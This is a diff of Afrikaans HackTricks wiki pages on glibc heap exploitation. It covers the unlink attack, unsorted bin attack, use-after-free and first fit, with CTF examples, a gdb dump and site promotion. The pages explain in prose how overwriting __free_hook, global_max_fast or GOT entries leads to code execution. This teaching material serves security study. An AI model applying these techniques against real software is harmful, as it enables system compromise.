* In hierdie voorbeeld is daar in plaas van die stapel 'n reeks malloc'ed adresse. Die ontkoppelingsaanval word uitgevoer om 'n blok hier toe te ken, dus om die aanwysers van die reeks malloc'ed adresse te beheer. Dan is daar 'n ander funksionaliteit wat dit moontlik maak om die inhoud van blokke in hierdie adresse te wysig, wat dit moontlik maak om adresse na die GOT te wys, funksieadresse te wysig om lekke en RCE te kry.
* In hierdie voorbeeld is daar in plaas van die stapel 'n reeks malloc'ed adresse. Die ontkoppelingsaanval word uitgevoer om 'n blok hier toe te ken, dus om die aanwysers van die reeks malloc'ed adresse te beheer. Dan is daar 'n ander funksionaliteit wat toelaat om die inhoud van blokke in hierdie adresse te wysig, wat toelaat om adresse na die GOT te wys, funksieadresse te wysig om lekke en RCE te kry.
* 'n Ander CTF-voorbeeld: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Net soos in die vorige voorbeeld is daar 'n reeks adresse van toekenning. Dit is moontlik om 'n ontkoppelingsaanval uit te voer om die adres na die eerste toekenning 'n paar posisies voor die begin van die reeks te maak en dan hierdie toekenning in die nuwe posisie te oorskryf. Daarom is dit moontlik om aanwysers van ander toekenning te oorskryf om na die GOT van atoi te wys, dit te druk om 'n libc-lek te kry, en dan atoi GOT met die adres na 'n een gadget te oorskryf.
* CTF-voorbeeld met aangepaste malloc- en vryfunksies wat 'n kwesbaarheid misbruik wat baie soortgelyk is aan die ontkoppelingsaanval: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Daar is 'n oorvloei wat dit moontlik maak om die FD- en BK-aanwysers van aangepaste malloc te beheer wat (aangepas) vrygestel sal word. Verder het die heap die uitvoeringsbit, sodat dit moontlik is om 'n heap-adres te lek en 'n funksie van die GOT na 'n heapblok met 'n skelkode te wys om uit te voer.
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
* Daar is 'n oorvloei wat toelaat om die FD- en BK-aanwysers van aangepaste malloc te beheer wat (aangepas) vrygestel sal word. Verder het die heap die uitvoerbit, sodat dit moontlik is om 'n heap-adres te lek en 'n funksie van die GOT na 'n heapblok met 'n skelkode te wys om uit te voer.

View file

@ -1,78 +1,79 @@
# Ongeorden Bin Aanval
# Ongeorden Binêre Aanval
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
Vir meer inligting oor wat 'n ongeorden bin is, kyk na hierdie bladsy:
Vir meer inligting oor wat 'n ongeordende binêre is, kyk na hierdie bladsy:
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
Ongeorden lys kan die adres na `ongesorteerde brokke (av)` skryf in die `bk`-adres van die brokkie. Daarom, as 'n aanvaller die adres van die `bk`-aanwyser in 'n brokkie binne die ongeorden bin kan **verander**, kan hy in staat wees om **daardie adres in 'n willekeurige adres te skryf** wat nuttig kan wees om 'n Glibc-adres te lek of om sekere verdediging te omseil.
Ongeordende lysies kan die adres na `ongesorteerde brokke (av)` in die `bk`-adres van die brokkie skryf. Daarom, as 'n aanvaller die adres van die `bk`-aanwyser in 'n brokkie binne die ongeordende bin kan **verander**, kan hy in staat wees om **daardie adres in 'n willekeurige adres te skryf** wat nuttig kan wees om 'n Glibc-adres te lek of om sekere verdediging te omseil.
Dus, hierdie aanval maak dit basies moontlik om **'n groot getal by 'n willekeurige adres in te stel**. Hierdie groot getal is 'n adres, wat 'n heap-adres of 'n Glibc-adres kan wees. 'n Tipiese teiken is **`global_max_fast`** om groter grootte vinnige binne te skep (en oorgaan van 'n ongeorden bin aanval na 'n vinnige bin aanval).
Dus, hierdie aanval maak dit basies moontlik om **'n groot getal by 'n willekeurige adres in te stel**. Hierdie groot getal is 'n adres, wat 'n heap-adres of 'n Glibc-adres kan wees. 'n Tipiese teiken is **`global_max_fast`** om dit moontlik te maak om vinnige binne met groter groottes te skep (en oorgaan van 'n ongeordende bin-aanval na 'n vinnige bin-aanval).
{% hint style="success" %}
Deur na die voorbeeld te kyk wat verskaf is in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) en 0x4000 en 0x5000 te gebruik in plaas van 0x400 en 0x500 as brokkie groottes (om Tcache te vermy) is dit moontlik om te sien dat **teenwoordig** die fout **`malloc(): ongesorteerde dubbel gekoppelde lys gekorrigeer`** geaktiveer word.
Deur na die voorbeeld te kyk wat verskaf is in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) en 0x4000 en 0x5000 in plaas van 0x400 en 0x500 as brokkie groottes te gebruik (om Tcache te vermy), is dit moontlik om te sien dat **teenwoordig** die fout **`malloc(): ongesorteerde dubbel gekoppelde lys gekorrupteer`** geaktiveer word.
Daarom vereis hierdie ongeorden bin aanval nou (onder andere kontroles) ook dat die dubbel gekoppelde lys reggestel moet word sodat dit omseil word `victim->bk->fd == victim` of nie `victim->fd == av (arena)`, wat beteken dat die adres waar ons wil skryf die adres van die vals brokkie in sy `fd`-posisie moet hê en dat die vals brokkie `fd` na die arena verwys.
Daarom vereis hierdie ongeordende bin-aanval nou (onder andere kontroles) ook dat die dubbel gekoppelde lys reggestel moet word sodat dit omseil word `victim->bk->fd == victim` of nie `victim->fd == av (arena)`, wat beteken dat die adres waar ons wil skryf die adres van die vals brokkie in sy `fd`-posisie moet hê en dat die vals brokkie `fd` na die arena wys.
{% endhint %}
{% hint style="danger" %}
Let daarop dat hierdie aanval die ongeorden bin beskadig (dus klein en groot ook). Dus kan ons nou slegs **toewysings van die vinnige bin gebruik** ( 'n meer komplekse program kan ander toewysings doen en vasloop), en om dit te aktiveer moet ons **dieselfde grootte toewys anders sal die program vasloop.**
Let daarop dat hierdie aanval die ongeordende bin (dus klein en groot ook) korruptheid. Dus kan ons nou slegs **toewysings van die vinnige bin gebruik** ( 'n meer komplekse program kan ander toewysings doen en vasloop), en om dit te aktiveer moet ons **dieselfde grootte toewys anders sal die program vasloop.**
Let daarop dat die oorskrywing van **`global_max_fast`** in hierdie geval kan help om te vertrou dat die vinnige bin in staat sal wees om al die ander toewysings te hanteer totdat die uitbuiting voltooi is.
{% endhint %}
Die kode van [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) verduidelik dit baie goed, alhoewel as jy die mallocs wysig om geheue groot genoeg toe te ken sodat dit nie in 'n Tcache eindig nie, kan jy sien dat die voorheen genoemde fout voorkom wat hierdie tegniek voorkom: **`malloc(): ongesorteerde dubbel gekoppelde lys gekorrigeer`**
Die kode van [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) verduidelik dit baie goed, alhoewel as jy die mallocs wysig om geheue groot genoeg toe te ken sodat dit nie in 'n Tcache eindig nie, kan jy sien dat die voorheen genoemde fout voorkom wat hierdie tegniek voorkom: **`malloc(): ongesorteerde dubbel gekoppelde lys gekorrupteer`**
## Ongeorden Bin Infoleak Aanval
## Ongeordende Bin Inligtingslek Aanval
Dit is eintlik 'n baie basiese konsep. Die brokkies in die ongeorden bin gaan aanwysers hê. Die eerste brokkie in die ongeorden bin sal eintlik die **`fd`** en die **`bk`** skakels hê wat **na 'n deel van die hoof-arena (Glibc)** verwys.\
Daarom, as jy **'n brokkie binne 'n ongeorden bin kan plaas en dit lees** (gebruik na vry) of **dit weer kan toeken sonder om ten minste 1 van die aanwysers te oorskryf** om dit dan **te lees**, kan jy 'n **Glibc inligtingslek** hê.
Dit is eintlik 'n baie basiese konsep. Die brokkies in die ongeordende bin gaan aanwysers hê. Die eerste brokkie in die ongeordende bin sal eintlik die **`fd`** en die **`bk`** skakels hê wat **na 'n deel van die hoof-arena (Glibc)** wys.\
Daarom, as jy **'n brokkie binne 'n ongeordende bin kan plaas en dit lees** (gebruik na vry) of **dit weer kan toeken sonder om ten minste 1 van die aanwysers te oorskryf** om dit dan **te lees**, kan jy 'n **Glibc-inligtingslek** hê.
'n Soortgelyke [**aanval wat in hierdie skryfstuk gebruik is**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), was om 'n 4 brokkie struktuur (A, B, C en D - D is slegs om konsolidasie met die boonste brokkie te voorkom) te misbruik sodat 'n nul byte oorvloei in B gebruik is om C aan te dui dat B ongebruik was. Ook, in B is die `prev_size` data gewysig sodat die grootte in plaas daarvan om die grootte van B was A+B.\
Toe is C vrygestel, en gekonsolideer met A+B (maar B was nog in gebruik). 'n Nuwe brokkie van grootte A is toegeken en toe is die gelekte libc-adresse in B geskryf vanwaar hulle gelekte is.
'n Soortgelyke [**aanval wat in hierdie skryfstuk gebruik is**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), was om 'n 4-brokkie struktuur (A, B, C en D - D is slegs om konsolidasie met die boonste brokkie te voorkom) te misbruik sodat 'n nulbyte-oorvloei in B gebruik is om C aan te dui dat B ongebruik was. Ook is in B die `prev_size`-data gewysig sodat die grootte in plaas daarvan om die grootte van B was A+B.\
Toe is C vrygestel en gekonsolideer met A+B (maar B was nog in gebruik). 'n Nuwe brokkie van grootte A is toegeken en toe is die gelekte Glibc-adresse in B geskryf vanwaar hulle gelekte is.
## Verwysings & Ander voorbeelde
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap)
* Die doel is om 'n globale veranderlike met 'n waarde groter as 4869 te oorskryf sodat dit moontlik is om die vlag te kry en PIE is nie geaktiveer nie.
* Dit is moontlik om brokkies van willekeurige groottes te genereer en daar is 'n geheue oorvloei met die gewenste grootte.
* Dit is moontlik om brokkies van willekeurige groottes te genereer en daar is 'n geheue-oorvloei met die gewenste grootte.
* Die aanval begin deur 3 brokkies te skep: brokkie0 om die oorvloei te misbruik, brokkie1 om oorvloei te hê en brokkie2 sodat die boonste brokkie nie konsolideer met die voriges nie.
* Dan word brokkie1 vrygestel en brokkie0 word oorvloei sodat die `bk`-aanwyser van brokkie1 na `bk = magic - 0x10` wys
* Dan word brokkie3 toegewys met dieselfde grootte as brokkie1, wat die ongeorden bin aanval sal aktiveer en die waarde van die globale veranderlike sal wysig, wat dit moontlik maak om die vlag te kry.
* Dan word brokkie1 vrygestel en brokkie0 word oorvloei sodat die `bk`-aanwyser van brokkie1 wys na: `bk = magic - 0x10`
* Dan word brokkie3 toegewys met dieselfde grootte as brokkie1, wat die ongeordende bin-aanval sal aktiveer en die waarde van die globale veranderlike sal wysig, wat dit moontlik maak om die vlag te kry.
* [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html)
* Die saamvoegfunksie is kwesbaar omdat as beide indekse wat oorgedra word dieselfde is, sal dit daarop herallokeer en dit dan vrymaak, maar 'n aanwyser na daardie vrygemaakte gebied teruggee wat gebruik kan word.
* Daarom word **2 brokkies geskep**: **brokkie0** wat met homself saamgevoeg gaan word en brokkie1 om konsolidering met die boonste brokkie te voorkom. Dan word die **saamvoegfunksie twee keer met brokkie0** geroep wat 'n gebruik na vry sal veroorsaak.
* Dan word die **`view`-funksie geroep met indeks 2** (wat die indeks van die gebruik na vry brokkie is), wat 'n libc-adres sal lek.
* Aangesien die binêre beskermings het om slegs groottes groter as **`global_max_fast`** toe te ken sodat geen vinnige bin gebruik word nie, gaan 'n ongeorden bin aanval gebruik word om die globale veranderlike `global_max_fast` te oorskryf.
* Dan is dit moontlik om die wysigingsfunksie met indeks 2 (die gebruik na vry aanwyser) te roep en die `bk`-aanwyser te oorskryf om te wys na `p64(global_max_fast-0x10)`. Dan, deur 'n nuwe brokkie te skep, sal die vorige gekompromitteerde vry adres (0x20) gebruik word om die ongeorden bin aanval te **aktiveer** deur die `global_max_fast` te oorskryf met 'n baie groot waarde, wat nou toelaat om brokkies in vinnige bakkies te skep.
* Nou word 'n **vinnige bin aanval** uitgevoer:
* Daarom word **2 brokkies geskep**: **brokkie0** wat met homself saamgevoeg sal word en brokkie1 om konsolidering met die boonste brokkie te voorkom. Dan word die **saamvoegfunksie met brokkie0** twee keer geroep wat 'n gebruik na vry sal veroorsaak.
* Dan word die **`view`-funksie geroep met indeks 2** (wat die indeks van die gebruik na vry brokkie is), wat 'n **libc-adres sal lek**.
* Aangesien die binêre beskermings het om slegs groottes groter as **`global_max_fast`** toe te ken sodat geen vinnige bin gebruik word nie, gaan 'n ongeordende bin-aanval gebruik word om die globale veranderlike `global_max_fast` te oorskryf.
* Dan is dit moontlik om die wysigingsfunksie met indeks 2 (die gebruik na vry aanwyser) te roep en die `bk`-aanwyser te oorskryf om te wys na `p64(global_max_fast-0x10)`. Dan, deur 'n nuwe brokkie te skep, sal die voorheen gekompromitteerde vry adres (0x20) gebruik word om die ongeordende bin-aanval te **aktiveer** deur die `global_max_fast` te oorskryf met 'n baie groot waarde, wat dit nou moontlik maak om brokkies in vinnige binne te skep.
* Nou word 'n **vinnige bin-aanval** uitgevoer:
* Eerstens word ontdek dat dit moontlik is om te werk met vinnige **brokkies van grootte 200** op die **`__free_hook`-plek:
* <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200**
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
* As ons daarin slaag om 'n vinnige stuk van grootte 0x200 op hierdie plek te kry, sal dit moontlik wees om 'n funksie-aanwyser te oorskryf wat uitgevoer sal word
* As ons daarin kan slaag om 'n vinnige stuk van grootte 0x200 op hierdie plek te kry, sal dit moontlik wees om 'n funksie-aanwyser te oorskryf wat uitgevoer sal word
* Hiervoor word 'n nuwe stuk van grootte `0xfc` geskep en die saamgevoegde funksie word twee keer geroep met daardie aanwyser, op hierdie manier verkry ons 'n aanwyser na 'n vrygemaakte stuk van grootte `0xfc*2 = 0x1f8` in die vinnige bin.
* Dan word die wysigingsfunksie in hierdie stuk geroep om die **`fd`**-adres van hierdie vinnige bin te wysig om te wys na die vorige **`__free_hook`**-funksie.
* Dan word 'n stuk met grootte `0x1f8` geskep om uit die vinnige bin die vorige nuttelose stuk te herwin sodat 'n ander stuk met grootte `0x1f8` geskep kan word om 'n vinnige bin-stuk in die **`__free_hook`** te kry wat oorskryf is met die adres van die **`system`**-funksie.
@ -82,18 +83,19 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
* Ons kan slegs stukke van grootte groter as `0x100` toewys.
* Oorskryf `global_max_fast` deur 'n Ongesorteerde Bin-aanval te gebruik (werk 1/16 keer as gevolg van ASLR, omdat ons 12 bietjies moet wysig, maar ons moet 16 bietjies wysig).
* Vinnige Bin-aanval om die 'n globale reeks stukke te wysig. Dit gee 'n arbitraire lees-/skryf-beginsel, wat dit moontlik maak om die GOT te wysig en sommige funksies te laat wys na `system`.
* Vinnige Bin-aanval om die globale reeks stukke te wysig. Dit gee 'n arbitêre lees-/skryf-primitief, wat dit moontlik maak om die GOT te wysig en sommige funksies te laat wys na `system`.
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Gebruik Na Vry
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
Soos die naam aandui, gebeur hierdie kwesbaarheid wanneer 'n program **'n bietjie spasie** in die heap vir 'n objek **stoor**, 'n bietjie inligting daar **skryf**, dit **vrymaak** omdat dit blykbaar nie meer nodig is nie en dan dit weer **toegang gee**.
Soos die naam aandui, gebeur hierdie kwesbaarheid wanneer 'n program **ruimte in die heap stoor** vir 'n objek, **inligting daar skryf**, dit **vrymaak** omdat dit blykbaar nie meer nodig is nie en dan dit weer **toegang gee**.
Die probleem hier is dat dit nie onwettig is (daar **sal geen foute wees**) wanneer 'n **vrygemaakte geheue toegang gee**. Dus, as die program (of die aanvaller) daarin slaag om **die vrygemaakte geheue toe te ken en arbitrêre data te stoor**, wanneer die vrygemaakte geheue vanaf die oorspronklike aanwysers toegang gee **daardie data sal oorskryf wees** wat 'n **kwesbaarheid veroorsaak wat sal afhang van die sensitiwiteit van die oorspronklike gestoorde data** (as dit 'n aanwysing van 'n funksie was wat geroep sou word, kan 'n aanvaller dit nou beheer).
Die probleem hier is dat dit nie onwettig is (daar **sal geen foute wees**) wanneer 'n **vrygemaakte geheue toegang** kry nie. Dus, as die program (of die aanvaller) daarin slaag om **die vrygemaakte geheue toe te ken en arbitrêre data te stoor**, wanneer die vrygemaakte geheue vanaf die oorspronklike aanwysers toegang kry, sal daardie data oorskryf wees wat 'n **kwesbaarheid veroorsaak wat sal afhang van die sensitiwiteit van die oorspronklike gestoorde data** (as dit 'n aanwyser van 'n funksie was wat geroep sou word, kan 'n aanvaller dit beheer).
### Eerste Pas Aanval
@ -29,16 +30,17 @@ Kyk vir meer inligting in:
[first-fit.md](first-fit.md)
{% endcontent-ref %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Eerste Pas
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## **Eerste Pas**
Wanneer jy geheue in 'n program vrymaak met behulp van glibc, word verskillende "bins" gebruik om die geheueblokke te bestuur. Hier is 'n vereenvoudigde verduideliking van twee algemene scenario's: ongesorteerde bins en vinnigebins.
Wanneer jy geheue in 'n program vrymaak wat glibc gebruik, word verskillende "bins" gebruik om die geheueblokke te bestuur. Hier is 'n vereenvoudigde verduideliking van twee algemene scenarios: ongesorteerde bins en vinnigebins.
### Ongesorteerde Bins
